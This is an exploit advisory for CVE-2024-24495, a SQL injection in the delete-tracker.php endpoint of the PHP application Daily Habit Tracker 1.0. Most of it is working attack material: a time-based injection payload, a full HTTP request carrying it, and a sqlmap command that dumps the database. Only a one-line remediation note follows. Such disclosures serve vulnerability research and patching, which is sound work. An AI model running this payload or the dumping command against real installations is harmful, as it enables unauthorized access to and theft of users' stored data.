Daily Habit Tracker 1.0 SQL Injection

`# Exploit Title: Daily Habit Tracker 1.0 - SQL Injection  
# Date: 2 Feb 2024  
# Exploit Author: Yevhenii Butenko  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html  
# Version: 1.0  
# Tested on: Debian  
# CVE : CVE-2024-24495  
  
### SQL Injection:  
  
> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.  
  
### Affected Components:  
  
> delete-tracker.php  
  
### Description:  
  
> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.  
  
## Proof of Concept:  
  
### Manual Exploitation  
  
The payload `'"";SELECT SLEEP(5)#` can be employed to force the database to sleep for 5 seconds:  
  
```  
GET /habit-tracker/endpoint/delete-tracker.php?tracker=5'""%3bSELECT+SLEEP(5)%23 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: none  
Sec-Fetch-User: ?1  
```  
  
![5 seconds delay](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/sqli.png?raw=true)  
  
### SQLMap  
  
Save the following request to `delete_tracker.txt`:  
  
```  
GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: none  
Sec-Fetch-User: ?1  
```  
  
Use `sqlmap` with `-r` option to exploit the vulnerability:  
  
```  
sqlmap -r ./delete_tracker.txt --level 5 --risk 3 --batch --technique=T --dump  
```  
  
## Recommendations  
  
When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.  
  
`